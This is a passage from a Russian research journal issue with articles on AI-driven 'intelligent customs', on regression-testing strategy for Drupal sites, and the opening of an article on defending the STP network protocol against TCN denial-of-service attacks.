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ИНТЕЛЛЕКТУАЛЬНАЯ ТАМОЖНЯ  

В УСЛОВИЯХ РАЗВИТИЯ ЦИФТЕХНОЛОГИЙ  
В ТАМОЖЕННОМ ДЕЛЕ РФ 

 
Аннотация. Работа посвящена исследованию роли цифровых технологий в развитии интеллектуаль-

ной таможни в Российской Федерации. Основное внимание уделяется анализу текущего состояния интел-
лектуальной таможни, а также оценке влияния цифровизации на эффективность и безопасность тамо-
женных процедур. Работа выявляет вызовы и проблемы, стоящие перед интеллектуальной таможней в 
условиях развития цифровых технологий, и предлагает практические рекомендации по оптимизации ис-
пользования цифровых решений в данной сфере. 

 
Ключевые слова: цифровые технологии, интеллектуальная таможня, таможенное дело, эффектив-

ность, безопасность. 
 
Введение 
В условиях стремительного развития циф-

ровых технологий таможенная деятельность 
Российской Федерации переживает значитель-
ные изменения. Интеллектуальная таможня 
становится ключевым элементом этого преоб-
разования, осуществляя свою деятельность на 
основе передовых информационных систем и 
технологий. 

Актуальность 
Интеллектуальная таможня в России стано-

вится неотъемлемой частью этого процесса, 
что подчеркивает актуальность изучения во-
просов, связанных с ее развитием в контексте 
цифровых технологий. 

Краткий обзор научной литературы 
Существует значительное количество лите-

ратуры, научных статей, законодательных ак-
тов и отчетов, посвященных внедрению циф-
ровых технологий в таможенную сферу и раз-
витию интеллектуальных таможенных систем. 

Методы исследования 
Методы исследования включают монито-

ринг применения цифровых технологий в ин-
теллектуальной таможне. 

Цель работы 
Оценка влияния цифровизации и интеллек-

туальной таможни на эффективность и без-
опасность таможенных процедур. 

Цифровая трансформация Федеральной 
таможенной службы 

В связи быстроразвивающимися технологи-
ями и возможностями, важно оперативно реа-
гировать на необходимость изменения при-
вычного уклада деятельности федеральных ор-
ганов исполнительной власти, в частности ФТС 
РФ. Цифровизация и автоматизация уже не-
сколько лет подряд стоит одним из ведущих 
ориентиров развития деятельности таможен-
ной службы согласно «Стратегии развития та-
моженной службы Российской Федерации до 
2030 года» (далее – Стратегия-2030) [1]. 

Стратегия 2030 определяет ведущие век-
торы цифровизации и модернизации таможен-
ной инфраструктуры посредством:  

• активного использования «искусствен-
ного интеллекта», который в свою очередь бу-
дет способен обрабатывать большие массивы 
информации в короткие сроки; 

• модернизации системы управления 
рисками (далее – СУР), в том числе при помощи 
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разработки и внедрения новых методов орга-
низации работы СУР; 

• автоматизации в части совершения та-
моженных операций на пунктах пропуска и зо-
нах таможенного контроля; 

• развития иных сфер деятельности ФТС 
РФ, влияющих на показатели выполнения та-
моженной службой своих функций 

В рамках реализации ведомственной про-
граммы цифровой трансформации Федераль-
ной таможенной службы на 2022–2024 годы 
продолжается работа по созданию и последую-
щему использования сервиса анализа на ос-
нове искусственного интеллекта (ИИ) рентге-
носкопических изображений, полученных с ис-
пользованием инспекционно-досмотровых 
комплексов (ИДК). Данная работа была начата 
еще в 2021 году [2].  

Реализация перехода к цифровой таможне 
также связана с ведомственной и межведом-
ственной коммуникацией, поскольку одной из 
приоритетных задач цифровой трансформа-
ции таможенной службы является создание и 
бесперебойное использование цифровых сер-
висов и платформ. Для осуществления данной 
задачи в первую очередь необходимо опреде-
лить правила и порядок использования такой 
платформы, что достигается путем примене-
ния уже имеющейся ведомственной онтологи-
ческой модели предметной области – регули-
руемой сферы ВЭД. 

Внедрение цифровых инструментов в та-
моженную деятельность 

Автоматизация многих операций таможен-
ной деятельности позволяет достигать высоких 
результатов таможенного регулирования и та-
моженного контроля. При этом ФТС России 
обозначен вектор таможенного администриро-
вания, закрепленный Стратегией-2030, кото-
рый предполагает насыщение искусственным 
интеллектом таможенной службы. Использова-
ние элементов искусственного интеллекта в 
сфере таможенной деятельности, основанного 
на цифровизации таможенных процессов, 
направлено на решение следующих задач. 

Внедрение искусственного интеллекта в та-
моженных органах реализуется при соверше-
нии следующих процедур: 

• выполнении операций документаль-
ного таможенного контроля; 

• осуществлении фактического таможен-
ного контроля; 

• исчислении и контроле таможенной 
стоимости; 

• обеспечении экономической и инфор-
мационной безопасности России. 

Всеобъемлющее внедрение цифровых ин-
струментов в таможенную деятельность одоб-
рено Всемирной таможенной организацией, 
основано на требованиях наднационального и 
национального законодательства, согласовано 
с заинтересованными властными и контроли-
рующими структурами, ориентировано на про-
гнозные значения, характеризующие соци-
ально-экономическое развитие России. 

Стратегические задачи интеллектуаль-
ной таможни 

В соответствии со стратегическими зада-
чами, предусмотренными программными до-
кументами Федеральной таможенной службы, 
в таможенных органах активно внедряются ин-
новационные проекты, направленные на при-
менение элементов искусственного интеллекта 
в цифровых таможенных системах, позволяю-
щих реализовать возможности, обеспечиваю-
щие накопление и передачу информации, свя-
занной с перемещением товарных потоков в 
соответствии с контрактными условиями 
внешнеторговых договоров. По итогам 2022 г. 
ФТС России перечислила в федеральный бюд-
жет 6,2 трлн рублей [6, с. 1345-1347]. В настоя-
щее время автоматически регистрируется 85% 
деклараций, выпускается – 31%. Достигнутые 
результаты свидетельствуют об эффективно-
сти осуществляемого в таможенной сфере ад-
министрирования, основанного на интеллекту-
альном подходе к выполнению целевых проек-
тов. 

Остановимся более подробно на внедрении 
элементов искусственного интеллекта в дея-
тельность интеллектуального пункта про-
пуска (ИПП), создаваемого на основе единой 
цифровой платформы, интегрирующей пере-
довые технические средства осуществления та-
моженного контроля, а также взаимный обмен 
информацией с федеральными органами и гос-
ударственными структурами, выполняющими 
контрольные функции в сфере внешнеэконо-
мической деятельности. Также заметим, что от 
скорости и полноты взаимодействия таможен-
ных органов с иными органами власти по си-
стеме межведомственного взаимодействия за-
висит получение важной информации, которая 
имеет значение для принятия решения о 
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выборе формы таможенного контроля либо 
меры, обеспечивающей проведение таможен-
ного контроля. 

Задача введения в эксплуатацию интеллек-
туальных пунктов пропуска в Стратегии-2030 
отнесена к 2030 году, но отдельные элементы 
реализуются уже сейчас, например, введен в 
эксплуатацию сервис анализа снимков инспек-
ционно-досмотровых комплексов (ИДК) на ос-
нове искусственного интеллекта. Сервис может 
распознавать на снимках обувь, одежду, ткани, 
древесные плиты, которые классифицируются 
в пяти товарных группах. При этом достовер-
ность автоматического распознавания состав-
ляет 80,5%, по отдельным товарам – 95%. Ана-
лиз одного снимка занимает менее 1 минуты с 
выдачей заключения инспектору о рисках в от-
ношении объектов контроля. Сейчас сервис 
обучается выявлять на снимках ИДК запрещен-
ные и ограниченные к перемещению объекты – 
оружие, боеприпасы и наркотики. 

Весь процесс будет занимать 5–7 минут, при 
этом водитель вообще не контактирует с со-
трудниками контролирующих органов. На дан-
ный момент ФТС России разработаны модели 
ИПП для всех четырех видов транспорта, пла-
нируется их принять в сентябре текущего года. 
ИПП предусматривает полную автоматизацию 
контроля и снижение рисков. 

Система управления рисками выходит на 
качественно новый уровень при условии ее 
цифровизации. Именно благодаря совершен-
ствованию системы управления рисками реа-
лизация таможенного контроля становится бо-
лее эффективной и в части выбора форм тамо-
женного контроля, и в части результативности. 
Дальнейшее развитие системы управления 
рисками зависит от материально-технического 
оснащения пунктов пропуска, уровня цифро-
визации таможенных органов и состояния та-
моженной инфраструктуры в целом. 

При этом участие в процессе должностных 
лиц будет необязательно, поскольку основным 
звеном станет цифровая платформа, способная 
обеспечить бесперебойность последовательно-
сти действий. 

Внедрение ИПП поможет решить такую важ-
ную проблему, как задержка транспорта при 
проверке грузов, что значительно увеличит ра-
ботоспособность пунктов пропуска [7, с. 200-
202]. Развитие интеллектуальной и электрон-
ной систем приведет к улучшению 

обслуживания и повышению безопасности. Од-
нако внедрение элементов искусственного ин-
теллекта в деятельность таможенных органов 
имеет ряд проблем юридического, социального 
и технического характера. 

Одной из ключевых проблем внедрения ИИ 
является обеспечение конфиденциальности 
информации и повышение доступности баз 
данных. Процесс поддержания внутригосудар-
ственных стандартов конфиденциальности яв-
ляется первостепенным фактором сокращения 
объемов трансграничной передачи персональ-
ных данных, что может негативным образом 
повлиять на развитие алгоритмов ИИ. Кроме 
того, персональные данные могут быть исполь-
зованы в сфере, исключительно для которой 
эти данные были собраны, и не могут быть при-
менены в рамках процесса глубокого обучения 
нейросетей ИИ в целях повышения эффектив-
ности способов предоставления той или иной 
услуги. 

Разработка строгих мер по защите конфи-
денциальности информации требует предо-
ставления массива персональных данных для 
изучения и обучения программ искусственного 
интеллекта. И здесь ключевая проблема со-
стоит в выработке правил конфиденциально-
сти, не создающих избыточную ограничен-
ность доступа ИИ к большим данным. 

Заключение 
В целом, в Стратегии-2030 ФТС России ста-

вит задачу «стать незаметной для добросовест-
ных участников рынка». Будет еще более уси-
лена система прослеживаемости, с помощью 
межведомственного взаимодействия система 
может стать полностью прозрачной. Соответ-
ственно, повысится и количество добросовест-
ных участников ВЭД. Поскольку все автомати-
ческие процессы (категорирование, автовы-
пуск, распределение деклараций и т. д.) будут 
основываться на алгоритмах, в том числе учи-
тывающих степень добросовестности участни-
ков внешнеэкономической деятельности. 

 
Литература 

1. Распоряжение Правительства РФ от 
23.05.2020 № 1388-р (ред. от 08.07.2023) «Стра-
тегия развития таможенной службы Россий-
ской Федерации до 2030 года». 

2. Приказ ФТС России от 13.01.2022  
№ 7 (ред. от 30.12.2022) «Об утверждении ве-
домственной программы цифровой 



Актуальные исследования • 2025. №27 (262)  Информационные технологии | 9 

трансформации Федеральной таможенной 
службы на 2022–2024 годы». 

3. Бондаренко А.О. Цифровая трансфор-
мация деятельности таможенных органов Рос-
сийской Федерации на примере технологии ав-
томатического выпуска // Вестник универси-
тета. – 2021. – № 11. – С. 24-30. 

4. Дорожкина Т.В., Щербакова Е.С., Татар-
ченко К.Р., Новиков Ф.А. Таможенная инфра-
структура как фактор развития таможенной де-
ятельности // Естественно-гуманитарные ис-
следования. – 2023. – № 2 (46). – С. 90-93. 

5. Саакова И.А. Совершенствование дея-
тельности таможенных органов по контролю 
таможенной стоимости в условиях реализации 
концепции интеллектуальной таможни /  
И.А. Саакова, А.А. Оразалиев // Университет-
ская наука – региону: Материалы X-Й (67) еже-
годной научно-практической конференции 
преподавателей, студентов и молодых ученых 
Северо-Кавказского федерального универси-
тета, Ставрополь, 01–30 апреля 2023 года. – 
Ставрополь: Северо-Кавказский федеральный 
университет, 2023. – С. 115. 

6. Соловьев Е.Н. Цифровое развитие ФТС: 
от таможни цифровой к таможне интеллекту-
альной / Е.Н. Соловьев // Актуальные проблемы 
современной России: психология, педагогика, 
экономика, управление и право: Сборник науч-
ных трудов международных научно-практиче-
ских конференций, Москва, 07–24 апреля 2023 
года / Отв. редакторы: В.П. Вершинин, А.Л. Тре-
тьяков. Т. 10. – Москва: Московский психолого-
социальный университет, 2023. – С. 1345-1347. 

7. Филатов И.Р. Особенности становления 
и развития интеллектуальной таможни /  
И.Р. Филатов // Advances in Science and 
Technology: Сборник статей LIII международ-
ной научно-практической конференции, 
Москва, 15 июня 2023 года. – Москва: Общество 
с ограниченной ответственностью «Актуаль-
ность.РФ», 2023. – С. 200-202. 

8. Филатов И.Р. Трендовые направления 
развития интеллектуальной таможни / И.Р. Фи-
латов // EurasiaScience: Сборник статей L меж-
дународной научно-практической конферен-
ции, Москва, 31 декабря 2022 года. – Москва: 
Общество с ограниченной ответственностью 
«Актуальность.РФ», 2022. – С. 299-301. 

 
 
 

BAGMANOVA Liana Vadimovna 
Student, 

Patrice Lumumba Peoples' Friendship University of Russia, 
Russia, Moscow 

 
INTELLIGENT CUSTOMS IN THE CONTEXT  

OF DIGITAL TECHNOLOGIES DEVELOPMENT  
IN THE CUSTOMS BUSINESS OF THE RUSSIAN FEDERATION 

 
Abstract. The work is devoted to the study of the role of digital technologies in the development of intellectual 

customs in the Russian Federation. The main focus is on analyzing the current state of intellectual customs, as well 
as assessing the impact of digitalization on the effectiveness and safety of customs procedures. The work identifies 
the challenges and problems facing the intellectual customs in the context of the development of digital technologies, 
and offers practical recommendations for optimizing the use of digital solutions in this area. 

 
Keywords: digital technologies, intelligent customs, customs business, efficiency, security.  



Актуальные исследования • 2025. №27 (262)  Информационные технологии | 10 

 
 

 10.51635/AI-27-262_uP9Pl 

 
КУЛЕЦКАЯ Елена Александровна 

старший инженер по обеспечению качества, специалист по обеспечению качества  
в области корпоративных веб-систем и систем на базе-Drupal, США, г. Вэстовер 

 
ОПТИМИЗАЦИЯ ПРОЦЕССОВ РЕГРЕССИОННОГО ТЕСТИРОВАНИЯ  

В УСЛОВИЯХ ЧАСТЫХ ОБНОВЛЕНИЙ ЯДРА  
И КОНТРИБ-МОДУЛЕЙ DRUPAL 

 
Аннотация. Статья посвящена оптимизации регрессионного тестирования проектов на базе Drupal 

в условиях частых обновлений ядра и подключаемых модулей. Показано, что регулярные обновления и за-
висимость компонентов через систему управления зависимостями повышают риск появления регресси-
онных ошибок и увеличивают трудоёмкость полного прогона тестов. Рассмотрены распространённые 
инструменты автоматизации тестирования Drupal, а также обоснован подход, при котором состав ре-
грессионных проверок определяется уровнем риска изменений и их влиянием на систему. Описана практи-
ческая реализация оптимизированной модели на основе воспроизводимого окружения и автоматического 
запуска тестов в конвейере непрерывной интеграции. Представлены подходы к оценке организационно-
экономического эффекта внедрения на основе показателей скорости поставки изменений и устойчивости 
работы сервиса. 
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Актуальность исследования 
Современные веб-проекты на базе системы 

управления контентом Drupal функционируют 
в условиях высокой динамики изменений. Ре-
гулярные обновления ядра, исправления уяз-
вимостей, выпуск новых версий контриб-моду-
лей и постоянная доработка пользовательской 
логики обусловлены как требованиями инфор-
мационной безопасности, так и необходимо-
стью соответствия изменяющимся бизнес-про-
цессам. В результате жизненный цикл про-
граммного продукта становится непрерывным, 
а частота релизов возрастает. 

В таких условиях особое значение приобре-
тает регрессионное тестирование, направлен-
ное на выявление нарушений работоспособно-
сти ранее реализованного функционала после 
внесения изменений в систему. Однако тради-
ционные подходы к регрессионному тестиро-
ванию нередко оказываются недостаточно эф-
фективными: полный прогон тестового набора 
требует значительных временных и вычисли-
тельных ресурсов, а выборочное тестирование 

повышает риск пропуска критических дефек-
тов. 

Специфика Drupal как модульной плат-
формы усиливает сложность задачи. Зависимо-
сти между ядром, контриб-модулями и пользо-
вательскими расширениями формируют слож-
ную архитектурную структуру, в которой об-
новление одного компонента способно повли-
ять на стабильность всей системы. Дополни-
тельные трудности создают изменения при-
кладных интерфейсов, требования совмести-
мости версий и необходимость оперативного 
закрытия уязвимостей безопасности. 

В условиях цифровой трансформации и 
ускорения процессов разработки повышение 
эффективности регрессионного тестирования 
становится не только технической, но и орга-
низационно-экономической задачей. Сниже-
ние времени проверки изменений, оптимиза-
ция тестовых сценариев и минимизация рис-
ков внедрения дефектов в промышленную 
среду напрямую влияют на устойчивость веб-
ресурсов и качество предоставляемых серви-
сов. 
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Таким образом, исследование и разработка 
методов оптимизации процессов регрессион-
ного тестирования в условиях частых обновле-
ний ядра и контриб-модулей Drupal являются 
актуальными и востребованными как с науч-
ной, так и с практической точки зрения. 

Цель исследования 
Цель данного исследования – обосновать и 

описать оптимизированную модель регресси-
онного тестирования для Drupal-проектов при 
частых обновлениях ядра и контриб-модулей, 
обеспечивающую сокращение времени про-
верки изменений при сохранении контроля 
критически важного функционала. 

Материалы и методы исследования 
Материалами исследования выступили от-

крытая техническая документация Drupal по 
типам тестов и инструментам автоматизации, 
сведения о релизных циклах и сроках под-
держки веток ядра, а также общедоступные ме-
тодические подходы к риск-ориентирован-
ному тестированию, анализу влияния измене-
ний и оценке эффективности инженерных 
практик по метрикам DORA. 

Применялись методы сравнительного ана-
лиза инструментов и уровней тестирования, 
систематизация требований к регрессии при 
частых обновлениях, проектирование процесс-
ной модели отбора и запуска тестов, а также 
экспертная интерпретация показателей эф-
фективности внедрения в контуре CI/CD. 

Результаты исследования 
Регрессионное тестирование проектов на 

базе Drupal основывается на общих принципах 
обеспечения качества программного обеспече-
ния и особенностях жизненного цикла ядра 
Drupal и экосистемы дополнительных модулей. 
В Drupal обновления выпускаются по установ-
ленному регламенту: новые минорные версии 
выходят ориентировочно два раза в год – тра-
диционно в июне и декабре. Каждая минорная 
ветка поддерживается в течение одного года: в 
первые шесть месяцев выпускаются исправле-
ния ошибок и обновления безопасности, в по-
следующие шесть месяцев – только обновле-
ния безопасности. Такая модель означает, что 
командам необходимо регулярно проверять 
совместимость кода и конфигурации не только 
при переходе на новые мажорные версии, но и 
при плановых полугодовых обновлениях, а 
также в рамках ежемесячных выпусков 

исправлений и обновлений безопасности. На 
практике это делает регрессионное тестирова-
ние постоянным процессом, поскольку даже 
незначительные изменения ядра или зависи-
мостей могут повлиять на работу сервисов, 
плагинов, маршрутизации, системы шаблонов, 
механизмов управления доступом и пользова-
тельского интерфейса [2]. 

С технологической точки зрения Drupal под-
держивает многоуровневую систему автомати-
зированного тестирования на базе PHPUnit. 
Она включает тесты, выполняемые без полной 
загрузки ядра, а также тесты, работающие с за-
груженным контейнером сервисов, базой дан-
ных и механизмами функционального тести-
рования. В официальной документации Drupal 
описан порядок запуска JavaScript-тестов 
PHPUnit: требуется установленный браузер 
Google Chrome или Chromium, соответствую-
щая версия chromedriver, а также корректно 
настроенный базовый адрес тестового сайта. 
Это имеет особое значение для регрессионного 
тестирования, поскольку значительная часть 
дефектов после обновлений проявляется на 
уровне пользовательских сценариев, включая 
административные формы, асинхронные за-
просы, работу редактора и элементов интер-
фейса. Без автоматизированных браузерных 
тестов вероятность пропуска таких ошибок су-
щественно возрастает. 

Частые обновления усиливают значение 
корректного управления версиями и зависимо-
стями, поскольку проекты Drupal обычно соби-
раются с использованием Composer, а дополни-
тельные модули имеют собственные требова-
ния совместимости и циклы релизов. В связи с 
этим при планировании регрессионного тести-
рования учитываются сроки поддержки кон-
кретных веток ядра. Согласно информации на 
странице релизов Drupal Core, для ветки 11.2.x 
указана поддержка безопасности до июня 2026 
года, для ветки 10.5.x – до июня 2026 года, для 
ветки 10.4.x – до декабря 2025 года. Учет сроков 
поддержки необходим для своевременного пе-
рехода на поддерживаемые версии и коррект-
ного планирования тестовых прогонов в рам-
ках обновлений [5]. 

Рисунок ниже иллюстрирует календарную 
логику фаз поддержки/безопасности, которая 
напрямую влияет на планирование регресси-
онных прогонов при переходах между ветками. 
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Рис. График жизненного цикла и фаз поддержки версий Drupal (2024–2027 гг.) [4] 

 
Автоматизация тестирования в Drupal скла-

дывается из двух основных направлений: 
встроенные средства ядра (прежде всего 
PHPUnit-тесты разных уровней) и внешние ин-
струменты, применяемые в проектах для 
сквозной проверки пользовательских сцена-
риев и интеграций. В официальной документа-
ции Drupal закреплено, что PHP-тесты в ядре 
пишутся на базе PHPUnit, а для разных типов 
проверок используются специализированные 
базовые классы: UnitTestCase (модульные те-
сты без запуска Drupal), KernelTestBase (тесты с 
загруженным ядром и контейнером сервисов), 
BrowserTestBase (функциональные веб-тесты с 
запросами к сайту) и WebDriverTestBase для 
функциональных тестов, где требуется выпол-
нение JavaScript в браузере через WebDriver. 
Это позволяет выстраивать «пирамиду тести-
рования» и распределять регрессию по 

уровням: от быстрых проверок логики до про-
верок поведения интерфейса. 

Дополнительно в экосистеме Drupal выделя-
ются инструменты для JavaScript-тестирова-
ния, написанные на JavaScript. В документации 
Drupal прямо указано использование 
Nightwatch для JavaScript-тестов проекта (от-
дельно от PHPUnit-подхода), а настройка и за-
пуск описываются как часть практик автомати-
зированного тестирования. На практике это за-
крывает те случаи, когда удобнее тестировать 
фронтенд-поведение и взаимодействие с брау-
зером в «нативной» среде JavaScript, а не через 
PHP-обвязки. 

В таблице 1 приведено сводное сопоставле-
ние ключевых инструментов и фреймворков 
автоматизации, которые используются в 
Drupal-практике. 

Таблица 1 
Основные инструменты и базовые классы автоматизированного тестирования  

в Drupal (разработка автора) 
Инструмент/ 

базовый класс 
Уровень  

и назначение 
Язык тестов 

Статус и источник  
в экосистеме Drupal 

UnitTestCase 
Модульные тесты без за-

грузки ядра Drupal 
PHP 

Рекомендованный базо-
вый класс для unit-те-
стирования в Drupal 

KernelTestBase 
Интеграционные тесты с 
загрузкой ядра и контей-

нера сервисов 
PHP 

Базовый класс для 
kernel-тестов в Drupal 
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Инструмент/ 
базовый класс 

Уровень  
и назначение 

Язык тестов 
Статус и источник  

в экосистеме Drupal 

BrowserTestBase 
Функциональные веб-те-

сты (HTTP-запросы, 
формы, права доступа) 

PHP 
Базовый класс для 

функционального те-
стирования в Drupal 

WebDriverTestBase 
(FunctionalJavascript) 

Функциональные тесты с 
поддержкой JavaScript и 

AJAX через WebDriver 
PHP 

Используется для 
Functional JavaScript-те-

стов 

PerformanceTestBase 
Тесты производительно-
сти и сравнение метрик 

PHP 
Описан в разделе тести-

рования производи-
тельности Drupal 

Nightwatch 
Сквозное тестирование 

пользовательских сцена-
риев (end-to-end) 

JavaScript 

Официально применяе-
мый JavaScript-фрейм-

ворк для тестирования в 
проектах Drupal 

Behat + Mink + 
Drupal Extension 

Поведенческое тестирова-
ние (BDD) с готовыми ша-

гами для Drupal 
PHP (Gherkin) 

Drupal Extension – инте-
грационный слой между 

Behat, Mink и Drupal 
 

Модель оптимизации регрессионного те-
стирования в условиях частых обновлений це-
лесообразно строить как управляемый процесс 
отбора и выполнения проверок, где состав ре-
грессионного набора определяется рисками из-
менений и их фактическим влиянием на си-
стему. В качестве базового принципа применя-
ется риск-ориентированный подход: отбор и 
приоритизация тестовой активности выполня-
ются с опорой на оценку рисков для качества 
продукта, то есть на вероятность и последствия 
отказов в затронутых компонентах. Практиче-
ски это означает, что при одинаковых ресурсах 
в первую очередь проверяются функции, свя-
занные с безопасностью, платежами, правами 
доступа, критическими бизнес-процессами и 
стабильностью публичных страниц, а второсте-
пенные сценарии могут тестироваться по 
укрупненному набору или по расписанию [6]. 

Техническая часть модели опирается на 
анализ влияния изменений и выборочное вы-
полнение тестов вместо полного прогона на 
каждый коммит. В открытой документации по 
Test Impact Analysis (TIA) описан подход «ин-
крементальной валидации», при котором си-
стема автоматически выбирает и запускает 
только подмножество тестов, релевантных 
конкретному изменению, чтобы ускорить об-
ратную связь в CI/CD. Для Drupal-проектов это 
согласуется с тем, что в экосистеме выделяются 
разные типы тестов и они различаются по 
уровню, скорости и стоимости исполнения, по-
этому оптимизация обычно сводится к тому, 
чтобы максимально «гасить» регрессию более 

быстрыми уровнями, а дорогие браузерные 
проверки запускать адресно [8]. 

Практическая реализация оптимизирован-
ной модели регрессионного тестирования в 
Drupal-проектах обычно строится вокруг вос-
производимого окружения и автоматического 
запуска тестов в конвейере CI. Для локального 
и серверного прогона важно, чтобы окружение 
разворачивалось одинаково: в документации 
Drupal прямо приводится пример запуска 
PHPUnit-тестов в контейнеризованной среде 
DDEV, где тесты выполняются командой 
«./vendor/bin/phpunit» с указанием конфигура-
ции ядра (-c core) и пути к тестируемому мо-
дулю. Это позволяет унифицировать запуск те-
стов для разработчиков и для CI, снижая число 
ошибок, связанных с различиями в настройках. 

Практическая реализация оптимизирован-
ной модели регрессионного тестирования в 
Drupal-проектах обычно строится на автомати-
ческом запуске тестов при каждом изменении 
кода – при коммите или запросе на слияние. 
Для этого используется конвейер CI, где в кон-
фигурации (например, «.gitlab-ci.yml») зада-
ются этапы подготовки окружения, разверты-
вания тестового экземпляра и выполнение вы-
бранных тестовых наборов. Для ускорения про-
верки применяют параллельный запуск тестов: 
в GitLab CI это достигается настройкой задач и 
переменных, в том числе для использования 
отдельных баз данных в параллельных зада-
ниях. В итоге сокращается время регрессион-
ного прогона и быстрее получается обратная 
связь по качеству изменений [3]. 
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В таблице 2 приведены типовые команды и 
точки интеграции, которые используются при 

внедрении модели в реальный процесс разра-
ботки. 

Таблица 2 
Примеры проверенных команд и точек запуска тестов в Drupal-проектах [7] 

Задача Пример практической реализации 

Запуск PHPUnit-тестов в контейнер-
ном окружении 

В официальной документации приведён пример запуска 
тестов через DDEV с использованием команды 

../vendor/bin/phpunit -c core … 

Подключение JavaScript-тестов 
Nightwatch 

Настройка описана в файле core/tests/README.md; также 
упоминается запуск через DDEV с использованием 

Selenium Standalone Chrome 

Автоматический запуск тестов при 
изменениях 

GitLab CI рассматривается как инструмент для автомати-
ческого выполнения тестов при изменениях в коде или 

при создании запроса на слияние 
 

В результате практическая реализация оп-
тимизированной модели сводится к трем 
устойчивым решениям: унификация окруже-
ния (чтобы тесты воспроизводимо запускались 
локально и в CI), автоматизация запуска тестов 
при каждом изменении кода через CI, и разде-
ление регрессионных проверок по «стоимости» 
выполнения, когда быстрые наборы выполня-
ются чаще, а браузерные сценарии подключа-
ются по необходимости и в заранее определен-
ных случаях. 

Экономическая эффективность внедрения 
оптимизированной регрессионной модели 
проявляется прежде всего в снижении совокуп-
ной стоимости качества за счет более раннего 
выявления дефектов и уменьшения числа сбоев 
на поздних стадиях жизненного цикла. Раннее 
тестирование экономит время и деньги: де-
фекты, удаленные на ранних этапах, не порож-
дают последующих ошибок в производных ре-
зультатах работ, а затраты на качество снижа-
ются, поскольку позже возникает меньше отка-
зов в ходе разработки и эксплуатации. 

Дополнительно экономический эффект фор-
мируется за счет сокращения времени обрат-
ной связи о качестве изменений: автоматиза-
ция проверок в CI/CD ускоряет поставку и по-
вышает стабильность, поскольку проверки вы-
полняются регулярно и без ручных операций. 

Организационная эффективность выража-
ется в управляемости релизного процесса и в 
прозрачных показателях результата. Для 
оценки эффекта широко применяются метрики 
DORA («Four Keys»), которые измеряют ско-
рость поставки и устойчивость сервиса: ча-
стоту развертываний, время прохождения из-
менения от коммита до продакшена, долю не-
удачных развертываний и время восстановле-
ния после инцидента. Использование таких 
метрик помогает формализовать цели внедре-
ния (ускорение регрессии, снижение регресси-
онных инцидентов), распределить ответствен-
ность между разработкой и тестированием и 
закрепить единые правила «готовности к ре-
лизу» на основе измеримых критериев (табл. 3). 

Таблица 3 
Показатели для оценки экономической  

и организационной эффективности (метрики DORA) [1] 
Показатель Что отражает в организации 

Время выполнения изменения 
Скорость прохождения изменений от разра-

ботки до ввода в эксплуатацию 

Частота развертываний 
Способность выпускать изменения регулярно и 

малыми партиями 

Доля неудачных развертываний 
Качество релизов и количество регрессионных 

отказов в продакшене 

Время восстановления 
Устойчивость и готовность команды быстро 

устранять последствия дефектов 
 

В совокупности внедрение оптимизирован-
ной регрессии дает экономический эффект че-
рез уменьшение затрат на исправление поздно 

обнаруженных дефектов и снижение потерь от 
сбоев, а организационный эффект – через уско-
рение релизного цикла, повышение 
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предсказуемости поставки и переход к управ-
лению качеством на основе измеримых показа-
телей. 

Выводы 
Таким образом, оптимизация регрессион-

ного тестирования в Drupal-проектах при ча-
стых обновлениях достигается за счет сочета-
ния риск-ориентированной приоритизации 
проверок и выбора тестов на основе влияния 
изменений, при обязательном разделении те-
стов по уровням и адресном применении ре-
сурсоемких браузерных сценариев. Практиче-
ское внедрение модели через воспроизводи-
мое окружение и CI-конвейер повышает управ-
ляемость релизов и ускоряет получение обрат-
ной связи о качестве изменений. Экономиче-
ская и организационная результативность 
внедрения корректно оценивается по сниже-
нию затрат на позднее исправление дефектов и 
по метрикам DORA, отражающим скорость по-
ставки и устойчивость эксплуатации. 
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НА ПРЕДМЕТ АТАК ТИПА DDOS TCN 

 
Аннотация. В статье были рассмотрены методики тестирования и защиты STP протокола. STP 

протокол (Spanning Tree Protocol) – это протокол предотвращения петель в системе, работающий на 
втором уровне модели OSI (L2). Протокол STP создала Радья Перлман (Radia Perlman) – «мать интер-
нета», в 1985 году. Протокол описан в стандарте IEEE 802.1D, рабочей группой IEEE 802.1 по межсетевому 
взаимодействию. В современном мире роль сетевых процессов недооценивается большинством, глубина и 
трудность такой науки отпугивает обычных обывателей, которые не задумываются о важности этой 
сферы в повседневной жизни. Социальные организации, больницы, городские учреждения – все повсеместно 
нуждаются в тех основополагающих вещах, о которых будет речь в данной статье. Примером станет 
вышеупомянутый протокол STP, роль которого крайне важна в организации работ сетей всех предприя-
тий, что подтверждает важность исследования данной проблемы. Атака TCN DOS представляет собой 
угрозу для сетей, так как они могут привести к значительным сбоям в работе. Злоумышленники исполь-
зуют эту уязвимость для перегрузки сетевых устройств, что приводит к увеличению задержек и сниже-
нию качества обслуживания. Знание о том, как работает протокол STP, как и какими методами прово-
дится атака, поможет будущим специалистам избежать подобных ситуаций. Это подчеркивает важ-
ность и полезность данной стать. 

 
Ключевые слова: атака TCN DOS, STP протокол, методики тестирования и защиты STP, атаки. 
 
Введение 
На фоне роста современных технологий 

надежность сетевых инфраструктур остается 
наиболее важным аспектом, в связи с ростом 
числа кибератак и усложнением цифровой 
среды. Протокол STP (Spanning Tree Protocol), – 
это протокол, обеспечивающий стабильность 
Ethernet-сетей за счет предотвращения топо-
логических петель и широковещательного 
шторма, однако его архитектура сталкивается с 
рядом угроз. Ключевая проблема – атаки типа 
TCN DOS. Атаки TCN DOS, при котором зло-
умышленники намеренно отправляют фаль-
шивые BPDU пакеты, способны нагрузить CPU, 
вызвать потерю трафика и остановки всех про-
цессов. 

Такие атаки особенно опасны для сетей, где 
задержки недопустимы: промышленные 

производства, медицинские учреждения, фи-
нансовые компании, социальные учреждения. 
Атака на протокол STP приводит не только к за-
медлению работы, но и к полному отказу ра-
боты сетевых устройств, исчерпание ресурсов 
CPU коммутаторов. Что доказывает важность 
знаний о работе старых протоколов типов STP. 
Усовершенствованные альтернативы, такие 
как RSTP или MSTP, являются улучшенными 
механизмами защиты, но их использование 
требует больше времени и ресурсов. Многие 
организации, предприятия, имеющие не столь 
современное оборудование и ПО, продолжают 
использовать классический STP из-за его уни-
версальности. 

Объектом нашего исследования является 
атака и методики тестирования защиты прото-
кола STP. Внимание уделено анализу слабых 
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мест протокола, например подделка BPDU-
пакетов, а также практическим мерам. 

Целью данной статьи является анализ уяз-
вимостей протокола STP, связанных с уведом-
лениями об изменении топологии, методика 
тестирования способов по их устранению. Для 
достижения этой цели необходимо изучить ос-
новы архитектуры, работы протокола, выявить 
основные уязвимости и предложить эффектив-
ный план защиты. 

1. Основы работы архитектуры прото-
кола STP 

